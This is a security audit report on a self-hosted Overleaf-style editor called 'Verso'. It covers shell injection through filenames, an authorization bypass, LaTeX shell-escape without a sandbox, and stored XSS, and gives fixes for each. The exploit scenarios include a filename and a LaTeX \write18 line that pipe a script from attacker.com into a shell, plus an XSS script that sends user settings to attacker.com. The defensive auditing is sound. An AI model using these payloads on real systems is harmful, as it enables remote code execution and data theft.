Four findings: shell injection via filename (RCE on CLSI), auth bypass on publish-presentation routes, shell-escape without sandbox in prod, and stored XSS via published presentations (CSP removed on main origin). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
11 KiB
Verso Alpha-3 Security Audit
Date: 2026-06-19
Branch audited: main (full codebase)
Method: multi-agent automated review + manual false-positive filtering
Summary
| # | Title | Severity | Confidence |
|---|---|---|---|
| 1 | Shell injection via filename → RCE on CLSI | HIGH | 9/10 |
| 2 | Read-only collaborator can publish / unpublish / rotate tokens | HIGH | 9/10 |
| 3 | LaTeX shell-escape enabled without sandbox in production |
HIGH | 9/10 |
| 4 | Published presentations served without CSP (stored XSS on origin) | MEDIUM | 9/10 |
Vuln 1 — Command Injection via Filename → RCE on CLSI
Files:
services/clsi/app/js/QuartoRunner.js(lines 102–147)services/clsi/app/js/TypstRunner.js(lines 139–141, 399–400)
Category: command_injection / rce
Severity: HIGH | Confidence: 9/10
Description
renderTarget / mainFile (the project's root resource path) is interpolated directly into a shell command string passed to /bin/sh -c without any quoting or escaping:
// QuartoRunner.js ~line 102
const baseName = renderTarget.replace(/\.[^/.]+$/, '')
// …passed to /bin/sh -c:
`quarto render $COMPILE_DIR/${renderTarget} 2>&1 && mv ${baseName}.pdf output.pdf`
`; rm -rf ${baseName}.qmd ${baseName}_files`
// TypstRunner.js ~line 140 — double quotes do NOT prevent $() or backtick expansion
['/bin/sh', '-c', `typst watch "${absInput}" "${absOutput}" 2>&1`]
// TypstRunner.js ~line 399 — completely unquoted
['/bin/sh', '-c', `typst compile $COMPILE_DIR/${mainFile} output.pdf 2>&1`]
SafePath.isCleanFilename() (SafePath.mjs lines 24–37) only blocks /, \, *, and control characters. Shell metacharacters — $, `, (, ), ;, &, | — all pass through unchecked. The CLSI's own _checkPath() only rejects .. path traversal.
Exploit Scenario
Any project collaborator renames their root file to:
foo$(curl https://attacker.com/shell.sh|sh).qmd
Triggering a compile executes the injected command unsandboxed inside the CLSI container as the host process user.
Fix
Use an args array instead of /bin/sh -c with a concatenated string:
// Instead of:
spawn('/bin/sh', ['-c', `quarto render ${renderTarget} ...`])
// Use:
spawn('quarto', ['render', absRenderTarget, '--to', 'pdf'])
For cases where a shell string is unavoidable, single-quote the variable: '${renderTarget}' (single quotes prevent all shell expansion). The safest fix is removing all three /bin/sh -c templateString invocations in favour of direct spawn with an explicit args array.
Vuln 2 — Authorization Bypass: Read-Only Collaborators Can Publish / Unpublish / Rotate Tokens
File: services/web/app/src/router.mjs (lines 697–710)
Category: authorization_bypass / privilege_escalation
Severity: HIGH | Confidence: 9/10
Description
Three destructive presentation endpoints are gated on ensureUserCanReadProject instead of ensureUserCanAdminProject:
webRouter.post('/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.publish)
webRouter.post('/project/:Project_id/publish-presentation/regenerate',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.regenerate)
webRouter.delete('/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanReadProject, // ← should be ensureUserCanAdminProject
PublishedPresentationController.unpublish)
canUserReadProject returns true for the READ_ONLY privilege level (AuthorizationManager.mjs lines 260–276), which is granted to any read-only collaborator and to anonymous users holding a read-only token link. canUserAdminProject requires OWNER only.
Exploit Scenario
User A shares a project read-only with User B. User B can:
DELETE /publish-presentation— permanently take down the owner's published presentationPOST /publish-presentation/regenerate— rotate the public/login/member share token, breaking all existing linksPOST /publish-presentation— force a recompile and overwrite the published snapshot
Fix
// Change all three routes — replace:
AuthorizationMiddleware.ensureUserCanReadProject
// with:
AuthorizationMiddleware.ensureUserCanAdminProject
One-line fix per route. This is the highest-priority fix because it requires no architectural change.
Vuln 3 — LaTeX shell-escape Enabled Without Sandbox in Production (RCE)
Files:
.gitea/workflows/deploy-verso-prod.yml(lines 332–333)services/clsi/app/js/LatexRunner.js(lines 200–202)services/clsi/app/js/CommandRunner.js(lines 12–16)
Category: rce / insecure_configuration
Severity: HIGH | Confidence: 9/10
Description
The production Kubernetes deployment sets OVERLEAF_LATEX_SHELL_ESCAPE: "true" with neither SANDBOXED_COMPILES nor DOCKER_RUNNER configured. This passes -shell-escape to every latexmk invocation globally, for all users, with no per-user or per-project gating:
// LatexRunner.js lines 200–202
if (Settings.clsi?.latexShellEscape) {
command.push('-shell-escape') // unconditional — applies to all users/projects
}
Without DOCKER_RUNNER=true, CommandRunner.js selects LocalCommandRunner — compiles run as the host process with full container filesystem access. The reference docker-compose.yml does configure sandboxed compiles (SANDBOXED_COMPILES: true, DOCKER_RUNNER: true); the production K8s deployment simply omits them.
The compile endpoint requires only ensureUserCanReadProject, so any holder of a read-only share link can trigger a compile.
Exploit Scenario
Any user with read-only access to any project uploads or edits a .tex file containing:
\immediate\write18{curl https://attacker.com/shell.sh | bash}
Triggering a compile executes the command unsandboxed, with access to all mounted volumes (source files, Redis socket, compile output).
Fix (two steps)
Step 1 — Short term: Remove OVERLEAF_LATEX_SHELL_ESCAPE: "true" from .gitea/workflows/deploy-verso-prod.yml. Disable shell-escape entirely unless there is a specific, per-project need.
Step 2 — Medium term: Add sandboxed compile configuration to the production deployment, mirroring the reference docker-compose.yml:
- name: SANDBOXED_COMPILES
value: "true"
- name: DOCKER_RUNNER
value: "true"
This contains the blast radius of any future compile-path vulnerability regardless of shell-escape status.
Vuln 4 — Stored XSS via Published Presentations (CSP Removed on Main Origin)
File: services/web/app/src/Features/PublishedPresentation/PublishedPresentationController.mjs (line 116)
Category: xss / stored
Severity: MEDIUM | Confidence: 9/10
Description
The published-presentation handler explicitly removes the Content-Security-Policy header before serving the raw HTML output:
res.removeHeader('Content-Security-Policy') // line 116
res.sendFile(target, ...) // serves output.html / index.html directly
The file served is the raw Quarto/reveal.js compile output — not a sanitized template. Since users control the .qmd source entirely, arbitrary <script> blocks can be embedded. The /p/:token routes are registered on the same webRouter as the main app, so scripts execute with full same-origin privileges against the Verso application origin.
Impact
- Any visitor to a
publicTokenlink has the script execute in their browser (no login required to be targeted) fetch()calls from the same origin automatically include the session cookie, bypassinghttpOnly- A script can call the
/dev/csrfendpoint to obtain a valid CSRF token, then call any mutating POST/DELETE API endpoint as the victim (read/write projects, change email, delete account, exfiltrate documents)
Exploit Scenario
- Attacker creates a Quarto project with a slide containing:
<script> fetch('/user/settings', {credentials: 'include'}) .then(r => r.json()) .then(d => fetch('https://attacker.com/?d=' + btoa(JSON.stringify(d)))) </script> - Compiles and publishes → obtains the
publicTokenURL - Shares the link with a victim
- Victim visits the link → script executes on the Verso origin → authenticated API calls made on victim's behalf
Fix
The correct fix is to serve published presentations from an isolated subdomain (e.g., decks.verso.example.com) with no session cookie access, so embedded scripts are origin-isolated from the main app.
As a stopgap, apply a restricted CSP instead of removing it entirely:
// Instead of:
res.removeHeader('Content-Security-Policy')
// Apply a presentation-specific policy:
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; connect-src 'none'")
connect-src 'none' blocks fetch()/XHR exfiltration even if inline scripts run.
Items Reviewed and Not Flagged
| Area | Finding |
|---|---|
| MongoDB queries | No raw req.body interpolation; Mongoose used throughout |
| CSRF protection | csurf middleware applied globally; no Verso-added bypass found |
dangerouslySetInnerHTML |
Only in operator-controlled footer (env-var source, not user input) |
DOMPurify usage |
labs-description.tsx uses it correctly with a strict allowlist |
| Hardcoded credentials | dev.env has weak defaults; production uses auto-generated secrets from 100_generate_secrets.sh |
| Open redirects | getSafeRedirectPath strips to pathname only; no exploitable chain found |
| SSRF (URL agent) | Proxied through linkedUrlProxy; host allowlisting in place |
Path traversal in serve() |
path.resolve + startsWith guard is correct |
| Session secret | Auto-generated at init, stored in /etc/container_environment/CRYPTO_RANDOM |
Recommended Fix Priority for Alpha-3
| Priority | Finding | Effort |
|---|---|---|
| 1 | Vuln 2 — wrong auth middleware on 3 routes | ~5 min, 3-line fix |
| 2 | Vuln 3 — remove shell-escape from prod deploy |
~5 min, remove 2 lines from YAML |
| 3 | Vuln 1 — fix quoting in QuartoRunner + TypstRunner | ~1 hour, refactor spawn calls |
| 4 | Vuln 4 — XSS via presentations | Hours–days; subdomain isolation is the real fix |
Vulns 1–3 are straightforward enough to fix before shipping alpha-3. Vuln 4 can be mitigated with the connect-src 'none' CSP header as a stopgap and tracked as a post-alpha-3 architectural item.